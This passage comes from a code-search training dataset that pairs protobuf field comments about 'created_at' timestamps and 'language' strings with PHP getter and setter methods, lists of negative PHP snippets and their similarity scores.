{\n $this->value = preg_replace('/\\s|`|\\'|,/', \"\", preg_replace('/,{1}/', '.', $this->value));\n }\n $this->value = (float)$this->value;\n return $this;\n }", "public function getFloat()\n {\n if ($this->value['float']=='left') return 'left';\n if ($this->value['float']=='right') return 'right';\n return null;\n }", "public static function assertIsFloat( $actual, $message = '' ) {\n\t\tstatic::assertInternalType( 'float', $actual, $message );\n\t}", "public static function _float($inputDataType, string $variableName, $defaultValue = null) {\n return self::_($inputDataType, $variableName, $defaultValue, FILTER_VALIDATE_FLOAT);\n }", "public static function asFloat($value)\n {\n $v = round($value, 2);\n\n return (strpos($v, '.') and self::$formats[self::P_DECIMAL_CHAR] != '.')\n ? str_replace('.', self::$formats[self::P_DECIMAL_CHAR], $v)\n : $v;\n }", "public function testFloat() {\n $this->assertEquals(100.25, Sanitize::float('1array(0)0.25'));\n $this->assertEquals(-125.55, Sanitize::float('-abc125.55'));\n $this->assertEquals(1203.11, Sanitize::float('+1203.11'));\n }", "protected function formatDefault()\n {\n return (false !== filter_var($this->input, FILTER_VALIDATE_FLOAT));\n }", "public function getDefaultZ() : ?float;" ]
[ "0.6971153", "0.6817237", "0.6753457", "0.668557", "0.66646993", "0.6651361", "0.66255885", "0.6622285", "0.65734655", "0.6568036", "0.6539318", "0.6524646", "0.6458025", "0.64562476", "0.6425762", "0.64098775", "0.6377", "0.63541436", "0.63491553", "0.6329455", "0.6325907", "0.63244015", "0.6287994", "0.6278854", "0.62623686", "0.62219083", "0.6209105", "0.6185131", "0.61676246", "0.61386454", "0.61092484", "0.60772765", "0.6060425", "0.6042178", "0.6032655", "0.6023029", "0.60145587", "0.600568", "0.600177", "0.599741", "0.5985586", "0.5977409", "0.59763914", "0.5975058", "0.59070486", "0.5897213", "0.5896879", "0.58939236", "0.58921367", "0.5883857", "0.5852881", "0.5845768", "0.5844652", "0.5836069", "0.5822281", "0.58045393", "0.5799649", "0.579734", "0.5793845", "0.57875013", "0.5776338", "0.57671463", "0.57667685", "0.5764904", "0.5764747", "0.5763928", "0.57635957", "0.57626235", "0.57566345", "0.5708715", "0.57077557", "0.5696184", "0.5689801", "0.5672037", "0.56446373", "0.5630454", "0.56300086", "0.56226975", "0.56162614", "0.56162316", "0.5600238", "0.55932736", "0.5585568", "0.557657", "0.5567769", "0.5565695", "0.55649453", "0.55448914", "0.5538147", "0.5528422", "0.5525234", "0.55229574", "0.5519865", "0.55149615", "0.5510759", "0.5504164", "0.54949296", "0.5486551", "0.54826236", "0.54756576" ]
0.64035255
16
Generated from protobuf field .google.protobuf.Timestamp created_at = 4;
public function getCreatedAt() { return $this->created_at; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getTimestampCreated()\n {\n return $this->_getData(self::TIMESTAMP_CREATED);\n }", "public function createdAt();", "public function createdAt();", "public function createdAt() : \\DateTime;", "public function getCreate_at()\n {\n return $this->create_at;\n }", "public function getCreate_at()\n {\n return $this->create_at;\n }", "public function getCreateAt()\n {\n return $this->create_at;\n }", "public function setCreated(&$var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->created = $var;\n }", "public function setCreatedAt($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->created_at = $var;\n\n return $this;\n }", "public function setCreatedAt($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->created_at = $var;\n\n return $this;\n }", "public function timestamp() {\n\t\t$this->updated_at = new \\DateTime;\n\n\t\tif ( ! $this->exists) $this->created_at = $this->updated_at;\n\t}", "private function _timestamp()\n \t{\n \t\t$this->updated_at = time();\n \t\tif (!$this->exists) $this->created_at = $this->updated_at;\n \t}", "public function getCreatedAt() \r\n {\r\n return $this->createdAt;\r\n }", "public function getCreatedAt() {\n return $this->attributes['created_at'];\n }", "public function getCreated_at()\n {\n return $this->created_at;\n }", "public function getCreated_at()\n {\n return $this->created_at;\n }", "public function getCreated_at()\n {\n return $this->created_at;\n }", "public function getCreated_at()\n {\n return $this->created_at;\n }", "public function getCreatedAt(): Datetime\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt(){\n return $this->_getData(self::CREATED_AT);\n }", "public function getCreatedAt()\n {\n return $this->_created_at;\n }", "public function getCreatedAt () {\n return $this->createdAt;\n }", "public function getCreated_at() {\n return $this->_created_at;\n }", "public function getCreatedAt()\n\t{\n\t\treturn $this->createdAt;\n\t}", "public function getCreatedAt(): DateTimeImmutable\n {\n return $this->created_at;\n }", "public function created_at()\n {\n return $this->object->created_at;\n }", "public function getCreatedAt()\n {\n return $this->data['fields']['created_at'];\n }", "public function getCreatedAt():DateTime\n {\n return $this->createdAt;\n }", "public function getCreatedAt(){\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return clone $this->createdAt;\n }", "public function getCreatedAt(): string\n {\n return $this->createdAt;\n }", "public function getCreatedAt(): string\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->CreatedAt;\n }", "public function getCreatedAt(): DateTime;", "public function setCreationTimestamp($var)\n {\n GPBUtil::checkString($var, True);\n $this->creation_timestamp = $var;\n\n return $this;\n }", "public function getCreatedAt() : \\DateTime\n {\n return $this->createdAt;\n }", "public function getCreated()\n {\n\n if (!$this->createdat instanceof DateTime) {\n return new DateTime();\n }\n\n return $this->createdat;\n }", "public function getCreatedAtTimestamp()\n {\n $date = $this->getCreatedAt();\n if ($date) {\n return Varien_Date::toTimestamp($date);\n }\n return null;\n }", "public function getCreatedAt()\n {\n return $this->getProperty(self::CREATED_AT);\n }", "public function getCreatedAtAttribute()\n {\n return strtotime($this->attributes['created_at']);\n }", "public function getCreatedAt(): int\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return \\DateTime::createFromFormat(DATE_ISO8601, $this->file->get(self::SETTING_CREATED_AT));\n }", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();" ]
[ "0.71219796", "0.70921683", "0.70921683", "0.706917", "0.70633435", "0.70633435", "0.70519114", "0.7049046", "0.7042155", "0.7042155", "0.6990247", "0.6888413", "0.68680805", "0.6856611", "0.6837689", "0.6837689", "0.6837689", "0.6837689", "0.6794932", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67932063", "0.67910784", "0.67886245", "0.67817324", "0.67773265", "0.67723525", "0.675519", "0.6748047", "0.6713522", "0.66927886", "0.6691125", "0.66748625", "0.66714895", "0.66714895", "0.66694266", "0.66646487", "0.6654771", "0.6621996", "0.6590942", "0.65791315", "0.65681314", "0.6530904", "0.65237606", "0.65112746", "0.6503399", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484", "0.65007484" ]
0.67791474
60
Generated from protobuf field .google.protobuf.Timestamp created_at = 4;
public function setCreatedAt($var) { GPBUtil::checkMessage($var, \Google\Protobuf\Timestamp::class); $this->created_at = $var; return $this; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getTimestampCreated()\n {\n return $this->_getData(self::TIMESTAMP_CREATED);\n }", "public function createdAt();", "public function createdAt();", "public function createdAt() : \\DateTime;", "public function getCreate_at()\n {\n return $this->create_at;\n }", "public function getCreate_at()\n {\n return $this->create_at;\n }", "public function getCreateAt()\n {\n return $this->create_at;\n }", "public function setCreated(&$var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->created = $var;\n }", "public function timestamp() {\n\t\t$this->updated_at = new \\DateTime;\n\n\t\tif ( ! $this->exists) $this->created_at = $this->updated_at;\n\t}", "private function _timestamp()\n \t{\n \t\t$this->updated_at = time();\n \t\tif (!$this->exists) $this->created_at = $this->updated_at;\n \t}", "public function getCreatedAt() \r\n {\r\n return $this->createdAt;\r\n }", "public function getCreatedAt() {\n return $this->attributes['created_at'];\n }", "public function getCreated_at()\n {\n return $this->created_at;\n }", "public function getCreated_at()\n {\n return $this->created_at;\n }", "public function getCreated_at()\n {\n return $this->created_at;\n }", "public function getCreated_at()\n {\n return $this->created_at;\n }", "public function getCreatedAt(): Datetime\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt(){\n return $this->_getData(self::CREATED_AT);\n }", "public function getCreatedAt()\n {\n return $this->_created_at;\n }", "public function getCreatedAt () {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return $this->created_at;\n }", "public function getCreated_at() {\n return $this->_created_at;\n }", "public function getCreatedAt()\n\t{\n\t\treturn $this->createdAt;\n\t}", "public function getCreatedAt(): DateTimeImmutable\n {\n return $this->created_at;\n }", "public function created_at()\n {\n return $this->object->created_at;\n }", "public function getCreatedAt()\n {\n return $this->data['fields']['created_at'];\n }", "public function getCreatedAt():DateTime\n {\n return $this->createdAt;\n }", "public function getCreatedAt(){\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return clone $this->createdAt;\n }", "public function getCreatedAt(): string\n {\n return $this->createdAt;\n }", "public function getCreatedAt(): string\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->createdAt;\n }", "public function getCreatedAt()\n {\n return $this->CreatedAt;\n }", "public function getCreatedAt(): DateTime;", "public function setCreationTimestamp($var)\n {\n GPBUtil::checkString($var, True);\n $this->creation_timestamp = $var;\n\n return $this;\n }", "public function getCreatedAt() : \\DateTime\n {\n return $this->createdAt;\n }", "public function getCreated()\n {\n\n if (!$this->createdat instanceof DateTime) {\n return new DateTime();\n }\n\n return $this->createdat;\n }", "public function getCreatedAtTimestamp()\n {\n $date = $this->getCreatedAt();\n if ($date) {\n return Varien_Date::toTimestamp($date);\n }\n return null;\n }", "public function getCreatedAt()\n {\n return $this->getProperty(self::CREATED_AT);\n }", "public function getCreatedAtAttribute()\n {\n return strtotime($this->attributes['created_at']);\n }", "public function getCreatedAt(): int\n {\n return $this->created_at;\n }", "public function getCreatedAt()\n {\n return \\DateTime::createFromFormat(DATE_ISO8601, $this->file->get(self::SETTING_CREATED_AT));\n }", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();", "public function getCreatedAt();" ]
[ "0.7122047", "0.7093382", "0.7093382", "0.707007", "0.70647174", "0.70647174", "0.7053288", "0.7048287", "0.6990356", "0.68882096", "0.6869416", "0.68582", "0.6838974", "0.6838974", "0.6838974", "0.6838974", "0.67965245", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6794526", "0.6792791", "0.6790197", "0.6783016", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.67807764", "0.6778572", "0.67737246", "0.6756408", "0.67490375", "0.6714398", "0.6694215", "0.66922367", "0.66760397", "0.66726613", "0.66726613", "0.6670916", "0.66660154", "0.66558367", "0.6623572", "0.65922844", "0.6580271", "0.65685743", "0.65328795", "0.6524985", "0.6512233", "0.6504792", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159", "0.6502159" ]
0.7044992
9
Generated from protobuf field string language = 5;
public function getLanguage() { return $this->language; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function language(string $language);", "public function getFromLanguage(): string;", "public function language();", "public function language();", "public function getLanguage() {}", "public function getLangcode() {\n }", "protected function getLanguageParameter() {}", "public function getCode(): string\n {\n return $this->language;\n }", "public function getLanguage(): string\n {\n return $this->language;\n }", "public function getLanguage(): string\n {\n return $this->language;\n }", "public function setLanguage($language);", "public function flag(string $language): string;", "public function getLanguage();", "public function getLanguage();", "public function getLanguage();", "public function getLanguage();", "public function getLanguage();", "public function getLanguage();", "public function name(string $language): string;", "abstract public function get_app_language();", "public function setLanguage(string $lang);", "public function getLang(): string {\n return $this->lang;\n }", "public function get_language()\n {\n }", "public function getLanguage() {\n return $this->language;\n }", "public function getLang();", "public function get_language() \n {\n return $this->language;\n }", "public function lang(): string;", "public function getLanguage()\n {\n return $this->getParameter('language');\n }", "static function getLanguage (){\n return self::$language;\n }", "public function get_language() {\n return $this->_language;\n }", "public function getLanguage()\n {\n return self::$language;\n }", "public function get_language() {\r\n\t\treturn $this->language;\r\n\t}", "public function getLanguage()\n\t{\n\t\treturn $this->languageId;\n\t}", "public function getLanguage()\n {\n return $this->getFieldValue('language');\n }", "static public function getLanguage() {\n\t\treturn self::$language;\n\t}", "final public function getLang(): string {\n $this->init();\n return $this->language;\n }", "public function settingLanguage() {}", "public function getLanguage() {\n return $this->_language;\n }", "public function getlanguage()\n {\n return $this->language;\n }", "public function getLanguage() {\n\t\treturn $this->languageCode;\n\t}", "private function getFieldLanguage() {\n\t\t$fieldsParent = $this->getFieldsParentByReference();\n\t\tif ( $fieldsParent ) {\n\t\t\treturn $this->getLanguageCode( $fieldsParent, sprintf( 'post_%s', self::GROUP_POST_TYPE ) );\n\t\t}\n\t\treturn '';\n\t}", "public function setLanguage($var)\n {\n GPBUtil::checkString($var, True);\n $this->language = $var;\n\n return $this;\n }", "public function setLanguage($var)\n {\n GPBUtil::checkString($var, True);\n $this->language = $var;\n\n return $this;\n }", "public function getLanguage()\n\t{\n\t\treturn $this->language;\n\t}", "public function getLanguage()\n\t{\n\t\treturn $this->language;\n\t}", "public function getUrlLanguage() {\n return $this->storedLanguage;\n }", "function language($lang)\n\t{\n\t\treturn lava_instance()->lang->language($lang);\n\t}", "public function languageCode()\n {\n $languageObject = $this->languageObject();\n return ( $languageObject !== false ) ? $languageObject->attribute( 'locale' ) : false;\n }", "public function getLanguage() {\n\t\treturn $this->getParameter('app_language');\n\t}", "function mLANG(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$LANG;\n $_channel = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer11.g:231:3: ( 'lang' ) \n // Tokenizer11.g:232:3: 'lang' \n {\n $this->matchString(\"lang\"); \n\n\n }\n\n $this->state->type = $_type;\n $this->state->channel = $_channel;\n }\n catch(Exception $e){\n throw $e;\n }\n }", "protected function generateLocalLang() {}", "function httpbl_lang()\n {\n foreach(explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']) as $language)\n { if ($language=='fr') { return 'fr'; } }\n return 'en';\n }", "function GetDefaultLang() : string\n{\n return 'ar';\n}", "private function lang($string='')\n {\n return $this->language->get($string);\n }", "public function language(){\n\t\tdefined('MGK_LANGUAGE')\n\t\t || define('MGK_LANGUAGE', $this->lang );\n\n\t\t$language = MGK_LANGUAGE;\t\n\t\t$file_lang = MGK_APPLICATION_DIRECTORY.'/_language/'.$language.'.json';\n\t\t$this->mgkLang = new Amaguk_lang( $language );\t\t\t\n\t\t$this->mgkLang->read_lang($file_lang);\t\t\t\n\t}", "public function getLanguage() : ?string ;", "public function getLanguage() {\n return $this->getValueOrDefault('Language');\n }", "public function getLanguageId()\n {\n return $this->language_id;\n }", "public function GetLanguage()\n {\n return $this->language;\n }", "protected function getLanguage() {\r\n\t\treturn $this->language;\r\n\t}", "public function getLanguage()\n {\n return $this->_language;\n }", "public function getLanguage()\r\n {\r\n $language = $this->getTransaction()->languageName;\r\n if(empty($language))\r\n {\r\n $language = leaf_get('properties', 'language_code');\r\n }\r\n\t\treturn $language;\r\n\t}", "public function getLanguage()\n\t{\n\t\t$language = isset($this->session->data['language']) ? $this->session->data['language'] : $this->config->get('config_language');\n\n\t\t$language_code = substr($language, 0, 2);\n\n\t\t$this->bootstrap();\n\n\t\t$is_available = @constant('\\Genesis\\API\\Constants\\i18n::' . strtoupper($language_code));\n\n\t\tif ($is_available) {\n\t\t\treturn strtolower($language_code);\n\t\t} else {\n\t\t\treturn 'en';\n\t\t}\n\t}", "public function setLanguage($value)\n {\n return $this->setParameter('language', $value);\n }", "public function getHttpLanguage()\n {\n if (isset($this->_server['HTTP_ACCEPT_LANGUAGE'])) {\n if (preg_match('/([a-z]{2}-[a-zA-Z]{2})/', $this->_server['HTTP_ACCEPT_LANGUAGE'], $matches)) {\n list($language, $locale) = explode('-', $matches[1]);\n $languageCode = $language .'-'. strtoupper($locale);\n return $languageCode;\n }\n }\n return 'nl-Nl';\n }", "function language_name($language)\n{\n\tif (!isset($language)) {\n\t\treturn null;\n\t} \n\t\n\tstatic $name = array();\n if (!count($name)) {\n $name = languagelist();\n } \n return $name[$language];\n}", "public function getLanguage(): Language\n {\n return new Language(API::ffi()->ts_parser_language($this->data));\n }", "public function getLanguageId()\n {\n return $this->getValue('nb_language_id');\n }", "public function getLanguage()\r\n {\r\n if ($this->getChatHelper()->getLanguage() == 'auto') {\r\n return null;\r\n }\r\n \r\n if ($this->getChatHelper()->getLanguage() == 'md') {\r\n return \"\\$zopim.livechat.setLanguage('\" . substr(Mage::app()->getLocale()->getLocale(),0,2).\"');\" . \"\\n\";\r\n }\r\n return \"\\$zopim.livechat.setLanguage('\" . $this->getChatHelper()->getLanguage() . \"');\" . \"\\n\";\r\n }", "public function getSpeechLanguage()\n {\n \treturn Tools::getSpeechLanguage($this->language_flag)['short'];\n }", "public function naturalName(string $language): string;", "public function getLanguageIdentifier();", "public function lang($lang = null);", "public function getLanguage() {\n return $this->_language;\n }", "public function getLanguage()\n {\n return $this->hasOne(Language::className(), ['iso_code'=>'lang']);\n }", "public function getLanguage()\n {\n return substr($this->server['HTTP_ACCEPT_LANGUAGE'], 0, 2);\n }", "public function get_language() {\n if (defined('WPLANG')) {\n $language = WPLANG;\n }\n\n if (empty($language)) {\n $language = get_option('WPLANG');\n }\n\n if (!empty($language)) {\n $languageParts = explode('_', $language);\n return $languageParts[0];\n }\n\n return 'en';\n }", "static private function CreateLanguageMessage() {\n\t\tif (!IllaUser::loggedIn()) {\n\t\t\t$german_browser = (ereg('de', $_SERVER['HTTP_ACCEPT_LANGUAGE']) ? true : false);\n\t\t}else {\n\t\t\t$german_browser = IllaUser::german();\n\t\t}\n\t\tif (($german_browser && self::isEnglish()) || (!$german_browser && self::isGerman())) {\n\t\t\t$short_filename = substr_replace(basename($_SERVER['PHP_SELF']), '', 0, 2);\n\t\t\t$path = str_replace($short_filename, '', $_SERVER['PHP_SELF']);\n\t\t\t$path = substr_replace($path, '', - 2, 2);\n\n\t\t\tif (count($_GET) > 0) {\n\t\t\t\t$getparams = array();\n\t\t\t\tforeach ($_GET as $key => $value) {\n\t\t\t\t\t$getparams[] = htmlentities($key) . '=' . htmlentities($value);\n\t\t\t\t}\n\t\t\t\t$getparams = '?' . implode('&amp;', $getparams);\n\t\t\t}else {\n\t\t\t\t$getparams = '';\n\t\t\t}\n\n\t\t\tif (self::isEnglish() && file_exists('de' . $short_filename)) {\n\t\t\t\tMessages::add('<a href=\"' . $path . 'de' . $short_filename . $getparams . '\" hreflang=\"de\">Deine bevorzugte Sprache scheint Deutsch zu sein. Klick hier um zur deutschen Fassung dieser Seite zu wechseln.</a>', 'note');\n\t\t\t\tMessages::add('<a href=\"' . $path . 'de' . $short_filename . $getparams . '\" hreflang=\"de\">Your favoured language seems to be German. Click here to view the German version of this page.</a>', 'note');\n\t\t\t} elseif (self::isGerman() && file_exists('us' . $short_filename)) {\n\t\t\t\tMessages::add('<a href=\"' . $path . 'us' . $short_filename . $getparams . '\" hreflang=\"us\">Deine bevorzugte Sprache scheint Englisch zu sein. Klick hier um zur englischen Fassung dieser Seite zu wechseln.</a>', 'note');\n\t\t\t\tMessages::add('<a href=\"' . $path . 'us' . $short_filename . $getparams . '\" hreflang=\"us\">Your favoured language seems to be English. Click here to view the English version of this page.</a>', 'note');\n\t\t\t}\n\t\t}\n\t}", "public function setLanguage($code)\n {\n $this->lang = $code;\n }", "public function getLang()\n {\n return $this->lang;\n }", "public function getLang()\n {\n return $this->lang;\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function getLang() {\n\t\treturn substr(Mage::app()->getLocale()->getLocaleCode(), 0, 2);\n\t}", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }" ]
[ "0.73247045", "0.7031155", "0.69398534", "0.69398534", "0.65689653", "0.65227956", "0.6492628", "0.6441813", "0.6419333", "0.6419333", "0.64191", "0.6408763", "0.6377374", "0.6377374", "0.6377374", "0.6377374", "0.6377374", "0.6377374", "0.6369966", "0.6310889", "0.6309094", "0.6259747", "0.62596774", "0.6231994", "0.62134427", "0.62113893", "0.62053865", "0.61679405", "0.6162278", "0.61580855", "0.6142959", "0.61419195", "0.61390877", "0.612452", "0.6117393", "0.6104095", "0.6096614", "0.6092929", "0.6080198", "0.6058295", "0.60534465", "0.6049179", "0.6049179", "0.6040618", "0.6040618", "0.60262173", "0.6025036", "0.60178876", "0.5976949", "0.596791", "0.59623504", "0.5960106", "0.5952142", "0.5944791", "0.59397596", "0.59212", "0.5918521", "0.591349", "0.59072", "0.5900273", "0.58918196", "0.58710605", "0.5867739", "0.58661234", "0.58617735", "0.5861421", "0.585137", "0.58513075", "0.58494437", "0.5840698", "0.58311194", "0.58290726", "0.58225626", "0.58091897", "0.58091193", "0.58079654", "0.58043647", "0.5801157", "0.5792416", "0.5789927", "0.5789927", "0.57782406", "0.57782406", "0.57782406", "0.57756954", "0.57756126", "0.57756126", "0.57756126", "0.57756126", "0.57739186", "0.57739186" ]
0.60071814
57
Generated from protobuf field string language = 5;
public function setLanguage($var) { GPBUtil::checkString($var, True); $this->language = $var; return $this; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function language(string $language);", "public function getFromLanguage(): string;", "public function language();", "public function language();", "public function getLanguage() {}", "public function getLangcode() {\n }", "protected function getLanguageParameter() {}", "public function getCode(): string\n {\n return $this->language;\n }", "public function getLanguage(): string\n {\n return $this->language;\n }", "public function getLanguage(): string\n {\n return $this->language;\n }", "public function setLanguage($language);", "public function flag(string $language): string;", "public function getLanguage();", "public function getLanguage();", "public function getLanguage();", "public function getLanguage();", "public function getLanguage();", "public function getLanguage();", "public function name(string $language): string;", "abstract public function get_app_language();", "public function setLanguage(string $lang);", "public function getLang(): string {\n return $this->lang;\n }", "public function get_language()\n {\n }", "public function getLanguage() {\n return $this->language;\n }", "public function getLang();", "public function get_language() \n {\n return $this->language;\n }", "public function lang(): string;", "public function getLanguage()\n {\n return $this->getParameter('language');\n }", "static function getLanguage (){\n return self::$language;\n }", "public function get_language() {\n return $this->_language;\n }", "public function getLanguage()\n {\n return self::$language;\n }", "public function get_language() {\r\n\t\treturn $this->language;\r\n\t}", "public function getLanguage()\n\t{\n\t\treturn $this->languageId;\n\t}", "public function getLanguage()\n {\n return $this->getFieldValue('language');\n }", "static public function getLanguage() {\n\t\treturn self::$language;\n\t}", "final public function getLang(): string {\n $this->init();\n return $this->language;\n }", "public function settingLanguage() {}", "public function getLanguage() {\n return $this->_language;\n }", "public function getlanguage()\n {\n return $this->language;\n }", "public function getLanguage() {\n\t\treturn $this->languageCode;\n\t}", "private function getFieldLanguage() {\n\t\t$fieldsParent = $this->getFieldsParentByReference();\n\t\tif ( $fieldsParent ) {\n\t\t\treturn $this->getLanguageCode( $fieldsParent, sprintf( 'post_%s', self::GROUP_POST_TYPE ) );\n\t\t}\n\t\treturn '';\n\t}", "public function getLanguage()\n\t{\n\t\treturn $this->language;\n\t}", "public function getLanguage()\n\t{\n\t\treturn $this->language;\n\t}", "public function getUrlLanguage() {\n return $this->storedLanguage;\n }", "function language($lang)\n\t{\n\t\treturn lava_instance()->lang->language($lang);\n\t}", "public function languageCode()\n {\n $languageObject = $this->languageObject();\n return ( $languageObject !== false ) ? $languageObject->attribute( 'locale' ) : false;\n }", "public function getLanguage()\n {\n return $this->language;\n }", "public function getLanguage()\n {\n return $this->language;\n }", "public function getLanguage()\n {\n return $this->language;\n }", "public function getLanguage()\n {\n return $this->language;\n }", "public function getLanguage()\n {\n return $this->language;\n }", "public function getLanguage()\n {\n return $this->language;\n }", "public function getLanguage()\n {\n return $this->language;\n }", "public function getLanguage()\n {\n return $this->language;\n }", "public function getLanguage()\n {\n return $this->language;\n }", "public function getLanguage()\n {\n return $this->language;\n }", "public function getLanguage() {\n\t\treturn $this->getParameter('app_language');\n\t}", "function mLANG(){\n try {\n $_type = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$LANG;\n $_channel = Erfurt_Sparql_Parser_Sparql11_Update_Tokenizer11::$DEFAULT_TOKEN_CHANNEL;\n // Tokenizer11.g:231:3: ( 'lang' ) \n // Tokenizer11.g:232:3: 'lang' \n {\n $this->matchString(\"lang\"); \n\n\n }\n\n $this->state->type 